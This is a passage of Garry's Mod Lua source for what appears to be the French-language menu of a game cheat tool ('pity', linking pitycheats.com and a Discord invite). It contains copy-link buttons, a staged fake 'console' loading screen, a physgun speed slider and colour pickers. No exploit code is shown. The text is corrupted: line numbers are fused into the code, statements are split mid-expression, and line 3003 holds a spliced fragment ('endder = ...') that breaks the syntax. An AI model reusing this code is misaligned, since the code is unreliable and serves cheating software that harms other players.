2967Color(255, 255, 255,20), 0, 1)
2968else
2969end
2970end
2971
2972local CopiediscordHomeText = vgui.Create( "DButton", pContent)
2973CopiediscordHomeText:SetPos( 350, 358)
2974CopiediscordHomeText:SetSize( 200, 40 )
2975CopiediscordHomeText:SetTextColor( Color( 255, 255, 255, 0 ) )
2976CopiediscordHomeText:SetText( "Copier le lien (discord.gg/8ZPA7tn)" )
2977CopiediscordHomeText.Paint = function( self, w, h )
2978draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2979if self:IsHovered() then
2980draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 0))
2981else
2982draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 0))
2983end
2984CopiediscordHomeText.DoClick = function()
2985SetClipboardText( "https://discord.gg/8ZPA7tn" )
2986end
2987end
2988local CopiediscordHome = vgui.Create( "DButton", pContent)
2989CopiediscordHome:SetPos( 180, 255)
2990CopiediscordHome:SetSize( 80, 35 )
2991CopiediscordHome:SetTextColor( Color( 255, 255, 255, 255 ) )
2992CopiediscordHome:SetText( "Copier Discord" )
2993CopiediscordHome.Paint = function( self, w, h )
2994draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2995if self:IsHovered() then
2996CopiediscordHomeText:SetTextColor( Color( 255, 255, 255, 255 ) )
2997draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
2998aBorder = Color( 110,110,110, 80 )
2999else
3000CopiediscordHomeText:SetTextColor( Color( 255, 255, 255, 0 ) )
3001draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3002aBorder = Color( 110,110,110, 0 )
3003endder = Color( 110,110,110, 0 )
3004end
3005CopiediscordHome.OnCursorEntered = function(self)
3006surface.PlaySound( fiji_pityhover )
3007end
3008surface.SetDrawColor( aBorder )
3009surface.DrawOutlinedRect( 0, 0, w, h )
3010CopiediscordHome.DoClick = function()
3011NOTIFICATION("Lien copié")
3012SetClipboardText( "https://discord.gg/8ZPA7tn" )
3013surface.PlaySound( fiji_pityclick )
3014end
3015end
3016local CopiewebHomeText = vgui.Create( "DButton", pContent)
3017CopiewebHomeText:SetPos( 361, 358)
3018CopiewebHomeText:SetSize( 200, 40 )
3019CopiewebHomeText:SetTextColor( Color( 255, 255, 255, 0 ) )
3020CopiewebHomeText:SetText( "Copier le lien (pitycheats.com)" )
3021CopiewebHomeText.Paint = function( self, w, h )
3022draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3023if self:IsHovered() then
3024draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 0))
3025else
3026draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 0))
3027end
3028CopiewebHomeText.DoClick = function()
3029SetClipboardText( "https://pitycheats.com/" )
3030end
3031end
3032
3033local CopiewebHome = vgui.Create( "DButton", pContent)
3034CopiewebHome:SetPos( 280, 255)
3035CopiewebHome:SetSize( 80, 35 )
3036CopiewebHome:SetTextColor( Color( 255, 255, 255, 255 ) )
3037CopiewebHome:SetText( "Copier Site" )
3038CopiewebHome.Paint = function( self, w, h )
3039draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3040if self:IsHovered() then
3041CopiewebHomeText:SetTextColor( Color( 255, 255, 255, 255 ) )
3042draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
3043aBorder = Color( 110,110,110, 80 )
3044else
3045CopiewebHomeText:SetTextColor( Color( 255, 255, 255, 0 ) )
3046draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3047aBorder = Color( 110,110,110, 0 )
3048end
3049surface.SetDrawColor( aBorder )
3050surface.DrawOutlinedRect( 0, 0, w, h )
3051CopiewebHome.OnCursorEntered = function(self)
3052surface.PlaySound( fiji_pityhover )
3053
3054end
3055CopiewebHome.DoClick = function()
3056NOTIFICATION("Lien copié")
3057SetClipboardText( "https://pitycheats.com/" )
3058surface.PlaySound( fiji_pityclick )
3059
3060end
3061end
3062end
3063
3064
3065
3066
3067concommand.Add("fiji_console", function()
3068local BDConsole = vgui.Create( "DFrame" )
3069BDConsole:SetSize( 700, 400 )
3070BDConsole:Center()
3071BDConsole:SetTitle("")
3072BDConsole:SetDraggable( true )
3073BDConsole:ShowCloseButton( false )
3074BDConsole:MakePopup()
3075BDConsole.Paint = function( self, w, h)
3076DrawBlur(self, 25)
3077draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,245 ) )
3078
3079end
3080
3081local ConsoleText = vgui.Create( "DPanel", BDConsole ) -- create the
3082form as a child of frame
3083ConsoleText:SetPos( 5, 25 )
3084ConsoleText:SetSize( 690, 370 )
3085ConsoleText:SetText( "MaJ" )
3086ConsoleText.Paint = function( self, w, h)
3087draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,255 ) )
3088
3089end
3090
3091local ConsoleText1 = vgui.Create( "DPanel", ConsoleText ) -- create the
3092form as a child of frame
3093ConsoleText1:SetPos( 500, 1000 )
3094ConsoleText1:SetSize( 690, 370 )
3095ConsoleText1:SetText( "MaJ" )
3096ConsoleText1.Paint = function( self, w, h)
3097draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,255 ) )
3098draw.SimpleText("Initialisation...", "BudgetLabel", 5, 5, Color(255,
3099255, 255,255), 0, 1)
3100
3101end
3102
3103local ConsoleText2 = vgui.Create( "DPanel", ConsoleText ) -- create the
3104form as a child of frame
3105ConsoleText2:SetPos( 500, 1000 )
3106ConsoleText2:SetSize( 690, 370 )
3107ConsoleText2:SetText( "MaJ" )
3108ConsoleText2.Paint = function( self, w, h)
3109draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,255 ) )
3110draw.SimpleText("Lecture du cache...", "BudgetLabel", 5, 5, Color(95,
3111119, 252), 0, 1)
3112end
3113
3114local ConsoleText3 = vgui.Create( "DPanel", ConsoleText ) -- create the
3115form as a child of frame
3116ConsoleText3:SetPos( 500, 1000 )
3117ConsoleText3:SetSize( 690, 370 )
3118ConsoleText3:SetText( "MaJ" )
3119ConsoleText3.Paint = function( self, w, h)
3120draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,255 ) )
3121draw.SimpleText("Affichage", "BudgetLabel", 5, 5, Color(255, 255,
3122255,255), 0, 1)
3123end
3124
3125local ConsoleText4 = vgui.Create( "DPanel", ConsoleText ) -- create the
3126form as a child of frame
3127ConsoleText4:SetPos( 500, 1000 )
3128ConsoleText4:SetSize( 690, 370 )
3129ConsoleText4:SetText( "MaJ" )
3130ConsoleText4.Paint = function( self, w, h)
3131draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,255 ) )
3132draw.SimpleText("V1.0 - Base du Menu", "BudgetLabel", 5, 5, Color(91,
3133255, 102,255), 0, 1)
3134
3135draw.SimpleText("En développement : Catégorie Fun Commandes",
3136"BudgetLabel", 5, 20, Color(255, 100, 100,255), 0, 1)
3137end
3138
3139
3140local Readconsole = vgui.Create( "DButton", ConsoleText)
3141Readconsole:SetPos( 5, 8)
3142Readconsole:SetSize( 150, 15 )
3143Readconsole:SetTextColor( Color( 255, 255, 255, 255 ) )
3144Readconsole:SetText( "Cliquez ici pour lancer la lecture" )
3145Readconsole.Paint = function( self, w, h )
3146draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3147
3148Readconsole.DoClick = function()
3149Readconsole:Remove()
3150timer.Simple( 0.1, function()
3151ConsoleText1:SetPos( 5, 25 )
3152end )
3153
3154timer.Simple( 0.6, function()
3155ConsoleText2:SetPos( 5, 25 )
3156end )
3157
3158timer.Simple( 2.3, function()
3159ConsoleText3:SetPos( 5, 25 )
3160end )
3161
3162timer.Simple( 2.5, function()
3163ConsoleText4:SetPos( 5, 25 )
3164end )
3165
3166
3167end
3168end
3169
3170
3171concommand.Add("fiji_readconsole", function()
3172
3173timer.Simple( 1, function()
3174draw.SimpleText("Initialisation...", "BudgetLabel", 5, 12, Color(255,
3175255, 255,255), 0, 1)
3176end )
3177timer.Simple( 2, function() draw.SimpleText("Lecture du cache...",
3178"BudgetLabel", 5, 28, Color(255, 255, 255,255), 0, 1) end )
3179timer.Simple( 2.5, function() draw.SimpleText("Affichage",
3180"BudgetLabel", 5, 40, Color(255, 255, 255,255), 0, 1) end )
3181
3182timer.Simple( 2.7, function()
3183draw.SimpleText("V1.0 - Base du Menu", "BudgetLabel", 5, 52, Color(91,
3184255, 102,255), 0, 1)
3185draw.SimpleText("En développement : Catégorie Fun Commandes",
3186"BudgetLabel", 5, 65, Color(255, 100, 100,255), 0, 1)
3187end )
3188
3189end)
3190
3191local CloseCONSOLE = vgui.Create( "DButton", BDConsole)
3192CloseCONSOLE:SetPos( 670, 8)
3193CloseCONSOLE:SetSize( 20, 15 )
3194CloseCONSOLE:SetTextColor( Color( 255, 255, 255, 255 ) )
3195CloseCONSOLE:SetText( "X" )
3196CloseCONSOLE.Paint = function( self, w, h )
3197draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3198if self:IsHovered() then
3199draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
3200else
3201draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
3202end
3203CloseCONSOLE.DoClick = function()
3204LocalPlayer():ConCommand("fiji_sv_existmen 0")
3205BDConsole:Remove()
3206end
3207end
3208
3209local ReturnCONSOLE = vgui.Create( "DButton", BDConsole)
3210ReturnCONSOLE:SetPos( 638, 8)
3211ReturnCONSOLE:SetSize( 30, 15)
3212ReturnCONSOLE:SetTextColor( Color( 255, 255, 255, 255 ) )
3213ReturnCONSOLE:SetText( "<--" )
3214ReturnCONSOLE.Paint = function( self, w, h )
3215draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3216if self:IsHovered() then
3217draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
3218else
3219draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
3220end
3221ReturnCONSOLE.DoClick = function()
3222LocalPlayer():ConCommand("pity")
3223BDConsole:Remove()
3224end
3225end
3226
3227concommand.Add( "fiji_clearconsole", function() -- fiji_sv_existmen
3228BDConsole:Remove()
3229
3230end)
3231
3232end)
3233
3234function BD:Options( pContent )
3235local BDMenuOptions = vgui.Create("DPanel", pContent)
3236BDMenuOptions:SetSize( 539, 388 )
3237BDMenuOptions:SetPos( 0, 0 )
3238BDMenuOptions.Paint = function( self, w, h)
3239if fiji_style_menu:GetInt() == 2 then
3240draw.RoundedBox( 0, 0, 0, 2, h - 46,
3241Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
3242 )
3243
3244elseif fiji_style_menu:GetInt() == 1 then
3245draw.RoundedBox( 0, 0, 0, 2, h - 46, HSVToColor( CurTime() % 6 * 60, 1,
32460.5 ) )
3247
3248else
3249draw.RoundedBox( 0, 0, 0, 2, h - 46, Color(
3250fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
3251 255 ) )
3252
3253end
3254
3255
3256draw.RoundedBox( 200, 382, 10, 2, h - 216, Color( 50,50,50, 255 ) )
3257draw.RoundedBox( 200, 149, 10, 2, h - 216, Color( 50,50,50, 255 ) )
3258draw.RoundedBox( 0, 151, 180, w - 307, 2, Color( 50,50,50, 255 ) )
3259draw.RoundedBox( 0, 151, 10, w - 448, 2, Color( 50,50,50, 255 ) )
3260draw.RoundedBox( 0, 290, 10, w - 447, 2, Color( 50,50,50, 255 ) )
3261draw.SimpleText("Menu", "pity_home3", 251, 10, Color(100, 100, 100,255),
3262 0, 1)
3263
3264draw.RoundedBox( 200, 382, 205, 2, h - 213, Color( 50,50,50, 255 ) )
3265draw.RoundedBox( 200, 149, 205, 2, h - 213, Color( 50,50,50, 255 ) )
3266draw.RoundedBox( 0, 151, 378, w - 307, 2, Color( 50,50,50, 255 ) )
3267draw.RoundedBox( 0, 151, 205, w - 448, 2, Color( 50,50,50, 255 ) )
3268draw.RoundedBox( 0, 290, 205, w - 447, 2, Color( 50,50,50, 255 ) )
3269draw.SimpleText("Autres", "pity_home3", 250, 205, Color(100, 100,
3270100,255), 0, 1)
3271end
3272
3273
3274
3275local pPOOO = vgui.Create( "DPanel", pContent )
3276pPOOO:SetSize( 225, 50 )
3277pPOOO:SetPos( 154, 290 )
3278function pPOOO:Paint( w, h )
3279draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3280draw.SimpleText( "VITESSE PHYSICGUN", "pity_home5", 10, h / 2,
3281color_white, 0, 1 )
3282end
3283local pDistanceOOO = vgui.Create( "DNumSlider", pContent )
3284pDistanceOOO:SetPos( 215, 290 )
3285pDistanceOOO:SetSize( 180, 50 )
3286pDistanceOOO:SetText( "" )
3287pDistanceOOO:SetMin( 10 )
3288pDistanceOOO:SetMax( 1500 )
3289pDistanceOOO:SetDecimals( 0 )
3290pDistanceOOO:SetValue( physgun_wheelspeed:GetInt() or 200 )
3291pDistanceOOO.Scratch:SetVisible( false )
3292pDistanceOOO.TextArea:SetTextColor( color_white )
3293function pDistanceOOO.Slider:Paint(w, h)
3294surface.SetDrawColor(0, 0, 0, 255)
3295surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local
3296barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
3297
3298if fiji_style_menu:GetInt() == 2 then
3299surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
3300surface.DrawRect(0,
3301 21, barw, h / 5)
3302
3303elseif fiji_style_menu:GetInt() == 1 then
3304surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
3305surface.DrawRect(0, 21, barw, h / 5)
3306
3307else
3308surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
3309surface.DrawRect(0,
3310 21, barw, h / 5)
3311end
3312end
3313function pDistanceOOO:SetHeight(tall)
3314self.Slider.Knob:SetHeight(tall / 2 + 4)
3315DSlider.SetHeight(self, tall)
3316pDistanceOOO.SetTall = pDistanceOOO.SetHeight
3317pDistanceOOO.Slider.Knob:SetTall(5)
3318end
3319function pDistanceOOO.Slider.Knob:Paint(w, h)
3320derma.SkinHook( "Paint", "Button", self, 0, 0 )
3321end
3322function pDistanceOOO:OnValueChanged( val )
3323RunConsoleCommand( "physgun_wheelspeed", tonumber( self:GetValue() ) )
3324end
3325
3326local movingicons = {Material("icon16/exclamation.png"),
3327Material("icon16/delete.png"), Material("icon16/key.png"),
3328Material("icon16/cancel.png"), Material("icon16/rainbow.png"),
3329Material("icon16/wand.png"), nil}
3330
3331
3332local OpenConsole = vgui.Create( "DButton", pContent)
3333OpenConsole:SetPos( 485, 363.5)
3334OpenConsole:SetSize( 50, 20 )
3335OpenConsole:SetTextColor( Color( 255, 255, 255, 255 ) )
3336OpenConsole:SetText( "Console" )
3337OpenConsole.Paint = function( self, w, h )
3338draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3339if self:IsHovered() then
3340
3341
3342for i, icon in pairs(movingicons) do
3343local seed = i
3344local tick = (CurTime() + seed * 10)
3345local speed = seed % 4 + 1 + (seed * 0.5)
3346local loltick = (CurTime() * 2+ tick * speed * 10) % w
3347surface.SetDrawColor(255, 255, 255)
3348surface.SetMaterial(icon)
3349local iw, ih = 50, 50
3350surface.DrawTexturedRect(loltick, 0 + (h * 1.01 / 15) + math.sin(loltick
3351 / 30) * 5, iw, ih)
3352end
3353DrawBlur(self, 5)
3354
3355draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 180))
3356
3357else
3358OpenConsole:SetTextColor( Color( 255, 255, 255, 100 ) )
3359draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 20))
3360end
3361function OpenConsole:OnCursorEntered() OpenConsole:SizeTo( 60, 30, 0.2,
3362 0 ) OpenConsole:MoveTo( 475, 353.5, 0.2) end
3363function OpenConsole:OnCursorExited() OpenConsole:SizeTo( 50, 20, 0.2, 0
3364 ) OpenConsole:MoveTo( 485, 363.5, 0.2)end
3365OpenConsole.DoClick = function()
3366LocalPlayer():ConCommand("fiji_console")
3367LocalPlayer():ConCommand("clear_pity")
3368LocalPlayer():ConCommand("fiji_sv_existmen 1")
3369end
3370end
3371
3372local ColorMenuBB = vgui.Create( "DPanel", BDMenuOptions )
3373ColorMenuBB:SetSize( 225, 50 )
3374ColorMenuBB:SetPos( 154, 227 )
3375function ColorMenuBB:Paint( w, h )
3376draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3377draw.SimpleText( "Couleur Joueur", "pity_home5", 78, 8, color_white, 0, 1
3378 )
3379end
3380local OptionsColorRedMENUBB = vgui.Create( "DButton", ColorMenuBB )
3381OptionsColorRedMENUBB:SetPos( 4,20 )
3382OptionsColorRedMENUBB:SetSize( 20, 20 )
3383OptionsColorRedMENUBB:SetText( " " )
3384OptionsColorRedMENUBB.Paint = function( self, w, h )
3385if self:IsHovered() then
3386draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
3387surface.SetDrawColor(255, 255, 255 ,100)
3388surface.DrawOutlinedRect(0, 0, w, h)
3389else
3390draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
3391surface.SetDrawColor(255, 255, 255 ,100)
3392surface.DrawOutlinedRect(0, 0, w, h)
3393end
3394OptionsColorRedMENUBB.DoClick = function()
3395LocalPlayer():ConCommand("fiji_principal_color_player 255")
3396LocalPlayer():ConCommand("fiji_secondary_color_player 0")
3397LocalPlayer():ConCommand("fiji_third_color_player 0")
3398LocalPlayer():ConCommand("fiji_style_player 0")
3399surface.PlaySound( fiji_pityhover )
3400end
3401end
3402local OptionsColorOrangeMENUBB = vgui.Create( "DButton", ColorMenuBB )
3403OptionsColorOrangeMENUBB:SetPos( 26,20 )
3404OptionsColorOrangeMENUBB:SetSize( 20, 20 )
3405OptionsColorOrangeMENUBB:SetText( " " )
3406OptionsColorOrangeMENUBB.Paint = function( self, w, h )
3407if self:IsHovered() then
3408draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
3409surface.SetDrawColor(255, 255, 255 ,100)
3410surface.DrawOutlinedRect(0, 0, w, h)
3411else
3412draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
3413surface.SetDrawColor(255, 255, 255 ,100)
3414surface.DrawOutlinedRect(0, 0, w, h)
3415end
3416OptionsColorOrangeMENUBB.DoClick = function()
3417LocalPlayer():ConCommand("fiji_principal_color_player 255")
3418LocalPlayer():ConCommand("fiji_secondary_color_player 144")
3419LocalPlayer():ConCommand("fiji_third_color_player 0")
3420LocalPlayer():ConCommand("fiji_style_player 0")
3421surface.PlaySound( fiji_pityhover )
3422end
3423end
3424local OptionsColorYellowMENUBB = vgui.Create( "DButton", ColorMenuBB )
3425OptionsColorYellowMENUBB:SetPos( 48,20 )
3426OptionsColorYellowMENUBB:SetSize( 20, 20 )
3427OptionsColorYellowMENUBB:SetText( " " )
3428OptionsColorYellowMENUBB.Paint = function( self, w, h )
3429if self:IsHovered() then
3430draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
3431surface.SetDrawColor(255, 255, 255 ,100)
3432surface.DrawOutlinedRect(0, 0, w, h)
3433else
3434draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
3435surface.SetDrawColor(255, 255, 255 ,100)
3436surface.DrawOutlinedRect(0, 0, w, h)
3437end
3438OptionsColorYellowMENUBB.DoClick = function()
3439LocalPlayer():ConCommand("fiji_principal_color_player 255")
3440LocalPlayer():ConCommand("fiji_secondary_color_player 229")
3441LocalPlayer():ConCommand("fiji_third_color_player 0")
3442LocalPlayer():ConCommand("fiji_style_player 0")
3443surface.PlaySound( fiji_pityhover )
3444end
3445end
3446local OptionsColorGreenMENUBB = vgui.Create( "DButton", ColorMenuBB )
3447OptionsColorGreenMENUBB:SetPos( 70,20 )
3448OptionsColorGreenMENUBB:SetSize( 20, 20 )
3449OptionsColorGreenMENUBB:SetText( " " )
3450OptionsColorGreenMENUBB.Paint = function( self, w, h )
3451if self:IsHovered() then
3452draw.RoundedBox(0,0,0,w,h,Color(0, 155, 106))
3453surface.SetDrawColor(255, 255, 255 ,100)
3454surface.DrawOutlinedRect(0, 0, w, h)
3455else
3456draw.RoundedBox( 0, 0, 0, w, h, Color(0, 255, 174))
3457surface.SetDrawColor(255, 255, 255 ,100)
3458surface.DrawOutlinedRect(0, 0, w, h)
3459end
3460OptionsColorGreenMENUBB.DoClick = function()
3461LocalPlayer():ConCommand("fiji_principal_color_player 0")
3462LocalPlayer():ConCommand("fiji_secondary_color_player 255")
3463LocalPlayer():ConCommand("fiji_third_color_player 4")
3464LocalPlayer():ConCommand("fiji_style_player 0")
3465surface.PlaySound( fiji_pityhover )
3466end
3467end
3468local OptionsColorBlueMENUBB = vgui.Create( "DButton", ColorMenuBB )
3469OptionsColorBlueMENUBB:SetPos( 92,20 )
3470OptionsColorBlueMENUBB:SetSize( 20, 20 )
3471OptionsColorBlueMENUBB:SetText( " " )
3472OptionsColorBlueMENUBB.Paint = function( self, w, h )
3473if self:IsHovered() then
3474draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
3475surface.SetDrawColor(255, 255, 255 ,100)
3476surface.DrawOutlinedRect(0, 0, w, h)
3477else
3478draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
3479surface.SetDrawColor(255, 255, 255 ,100)
3480surface.DrawOutlinedRect(0, 0, w, h)
3481end
3482OptionsColorBlueMENUBB.DoClick = function()
3483LocalPlayer():ConCommand("fiji_principal_color_player 0")
3484LocalPlayer():ConCommand("fiji_secondary_color_player 0")
3485LocalPlayer():ConCommand("fiji_third_color_player 255")
3486LocalPlayer():ConCommand("fiji_style_player 0")
3487surface.PlaySound( fiji_pityhover )
3488end
3489end
3490local OptionsColorBlueMENUBB = vgui.Create( "DButton", ColorMenuBB )
3491OptionsColorBlueMENUBB:SetPos( 114,20 )
3492OptionsColorBlueMENUBB:SetSize( 20, 20 )
3493OptionsColorBlueMENUBB:SetText( " " )
3494OptionsColorBlueMENUBB.Paint = function( self, w, h )
3495if self:IsHovered() then
3496draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
3497surface.SetDrawColor(255, 255, 255 ,100)
3498surface.DrawOutlinedRect(0, 0, w, h)
3499else
3500draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
3501surface.SetDrawColor(255, 255, 255 ,100)
3502surface.DrawOutlinedRect(0, 0, w, h)
3503end
3504OptionsColorBlueMENUBB.DoClick = function()
3505LocalPlayer():ConCommand("fiji_principal_color_player 114")
3506LocalPlayer():ConCommand("fiji_secondary_color_player 0")
3507LocalPlayer():ConCommand("fiji_third_color_player 255")
3508LocalPlayer():ConCommand("fiji_style_player 0")
3509surface.PlaySound( fiji_pityhover )
3510end
3511end
3512local OptionsColorPinkMENUBB = vgui.Create( "DButton", ColorMenuBB )
3513OptionsColorPinkMENUBB:SetPos( 136,20 )
3514OptionsColorPinkMENUBB:SetSize( 20, 20 )
3515OptionsColorPinkMENUBB:SetText( " " )
3516OptionsColorPinkMENUBB.Paint = function( self, w, h )
3517if self:IsHovered() then
3518draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
3519surface.SetDrawColor(255, 255, 255 ,100)
3520surface.DrawOutlinedRect(0, 0, w, h)
3521else
3522draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
3523surface.SetDrawColor(255, 255, 255 ,100)
3524surface.DrawOutlinedRect(0, 0, w, h)
3525end
3526OptionsColorPinkMENUBB.DoClick = function()
3527LocalPlayer():ConCommand("fiji_principal_color_player 255")
3528LocalPlayer():ConCommand("fiji_secondary_color_player 0")
3529LocalPlayer():ConCommand("fiji_third_color_player 242")
3530LocalPlayer():ConCommand("fiji_style_player 0")
3531surface.PlaySound( fiji_pityhover )
3532end
3533end
3534local OptionsColorBlackMENUBB = vgui.Create( "DButton", ColorMenuBB )
3535OptionsColorBlackMENUBB:SetPos( 158,20 )
3536OptionsColorBlackMENUBB:SetSize( 20, 20 )
3537OptionsColorBlackMENUBB:SetText( " " )
3538OptionsColorBlackMENUBB.Paint = function( self, w, h )
3539if self:IsHovered() then
3540draw.RoundedBox(0,0,0,w,h,Color(45, 45, 45))
3541surface.SetDrawColor(255, 255, 255 ,100)
3542surface.DrawOutlinedRect(0, 0, w, h)
3543else
3544draw.RoundedBox( 0, 0, 0, w, h, Color(60, 60, 60))
3545surface.SetDrawColor(255, 255, 255 ,100)
3546surface.DrawOutlinedRect(0, 0, w, h)
3547end
3548OptionsColorBlackMENUBB.DoClick = function()
3549LocalPlayer():ConCommand("fiji_principal_color_player 0")
3550LocalPlayer():ConCommand("fiji_secondary_color_player 0")
3551LocalPlayer():ConCommand("fiji_third_color_player 0")
3552LocalPlayer():ConCommand("fiji_style_player 0")
3553surface.PlaySound( fiji_pityhover )
3554end
3555end
3556local OptionsColormultiMENUBB = vgui.Create( "DButton", ColorMenuBB )
3557OptionsColormultiMENUBB:SetPos( 202,20 )
3558OptionsColormultiMENUBB:SetSize( 20, 20 )
3559OptionsColormultiMENUBB:SetText( " " )
3560OptionsColormultiMENUBB.Paint = function( self, w, h )
3561if self:IsHovered() then
3562draw.RoundedBox(0,0,0,w,h,HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
3563surface.SetDrawColor(255, 255, 255 ,100)
3564surface.DrawOutlinedRect(0, 0, w, h)
3565else
3566draw.RoundedBox( 0, 0, 0, w, h, HSVToColor( CurTime() % 6 * 60, 1, 0.5
3567))
3568surface.SetDrawColor(255, 255, 255 ,100)
3569surface.DrawOutlinedRect(0, 0, w, h)
3570end
3571OptionsColormultiMENUBB.DoClick = function()
3572LocalPlayer():ConCommand("fiji_style_player 1")
3573surface.PlaySound( fiji_pityhover )
3574end
3575end
3576local OptionsColorwhiteMENUBB = vgui.Create( "DButton", ColorMenuBB )
3577OptionsColorwhiteMENUBB:SetPos( 180,20 )
3578OptionsColorwhiteMENUBB:SetSize( 20, 20 )
3579OptionsColorwhiteMENUBB:SetText( " " )
3580OptionsColorwhiteMENUBB.Paint = function( self, w, h )
3581if self:IsHovered() then
3582draw.RoundedBox(0,0,0,w,h,Color(200,200,200))
3583surface.SetDrawColor(255, 255, 255,100)
3584surface.DrawOutlinedRect(0, 0, w, h)
3585else
3586draw.RoundedBox( 0, 0, 0, w, h, Color(255,255,255))
3587surface.SetDrawColor(255, 255, 255 ,100)
3588surface.DrawOutlinedRect(0, 0, w, h)
3589end
3590OptionsColorwhiteMENUBB.DoClick = function()
3591LocalPlayer():ConCommand("fiji_principal_color_player 255")
3592LocalPlayer():ConCommand("fiji_secondary_color_player 255")
3593LocalPlayer():ConCommand("fiji_third_color_player 255")
3594LocalPlayer():ConCommand("fiji_style_player 0")
3595surface.PlaySound( fiji_pityhover )
3596end
3597end
3598
3599
3600
3601
3602
3603local ColorMenu = vgui.Create( "DPanel", BDMenuOptions )
3604ColorMenu:SetSize( 225, 50 )
3605ColorMenu:SetPos( 154, 30 )
3606function ColorMenu:Paint( w, h )
3607draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3608draw.SimpleText( "Couleur Menu", "pity_home5", 79, 8, color_white, 0, 1 )
3609end
3610local OptionsColorRedMENU = vgui.Create( "DButton", ColorMenu )
3611OptionsColorRedMENU:SetPos( 4,20 )
3612OptionsColorRedMENU:SetSize( 20, 20 )
3613OptionsColorRedMENU:SetText( " " )
3614OptionsColorRedMENU.Paint = function( self, w, h )
3615if self:IsHovered() then
3616draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
3617surface.SetDrawColor(255, 255, 255 ,100)
3618surface.DrawOutlinedRect(0, 0, w, h)
3619else
3620draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
3621surface.SetDrawColor(255, 255, 255 ,100)
3622surface.DrawOutlinedRect(0, 0, w, h)
3623end
3624OptionsColorRedMENU.DoClick = function()
3625LocalPlayer():ConCommand("fiji_menu_princ_color 238")
3626LocalPlayer():ConCommand("fiji_menu_sec_color 61")
3627LocalPlayer():ConCommand("fiji_menu_th_color 61")
3628LocalPlayer():ConCommand("fiji_style_menu 0")
3629surface.PlaySound( fiji_pityhover )
3630
3631end
3632end
3633local OptionsColorOrangeMENU = vgui.Create( "DButton", ColorMenu )
3634OptionsColorOrangeMENU:SetPos( 26,20 )
3635OptionsColorOrangeMENU:SetSize( 20, 20 )
3636OptionsColorOrangeMENU:SetText( " " )
3637OptionsColorOrangeMENU.Paint = function( self, w, h )
3638if self:IsHovered() then
3639draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
3640surface.SetDrawColor(255, 255, 255 ,100)
3641surface.DrawOutlinedRect(0, 0, w, h)
3642else
3643draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
3644surface.SetDrawColor(255, 255, 255 ,100)
3645surface.DrawOutlinedRect(0, 0, w, h)
3646end
3647OptionsColorOrangeMENU.DoClick = function()
3648LocalPlayer():ConCommand("fiji_menu_princ_color 255")
3649LocalPlayer():ConCommand("fiji_menu_sec_color 162")
3650LocalPlayer():ConCommand("fiji_menu_th_color 91")
3651LocalPlayer():ConCommand("fiji_style_menu 0")
3652surface.PlaySound( fiji_pityhover )
3653
3654end
3655end
3656local OptionsColorYellowMENU = vgui.Create( "DButton", ColorMenu )
3657OptionsColorYellowMENU:SetPos( 48,20 )
3658OptionsColorYellowMENU:SetSize( 20, 20 )
3659OptionsColorYellowMENU:SetText( " " )
